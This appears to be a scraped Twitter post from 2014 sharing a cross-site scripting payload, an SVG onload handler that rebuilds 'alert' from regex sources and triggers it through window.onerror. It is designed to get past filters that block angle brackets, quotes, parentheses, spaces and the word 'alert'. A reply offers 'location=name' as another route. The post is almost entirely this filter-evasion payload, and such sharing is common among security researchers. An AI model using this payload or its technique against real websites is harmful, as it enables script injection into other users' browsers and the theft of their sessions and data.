XSS vector without >, \, 'alert', parentheses, quotes and spaces <svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//
Replying to @dnkolegov
@dnkolegov location=name also works: http://jsfiddle.net/jWPbS/
6:27 AM - 6 Feb 2014
0 replies
0 retweets
5 likes
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.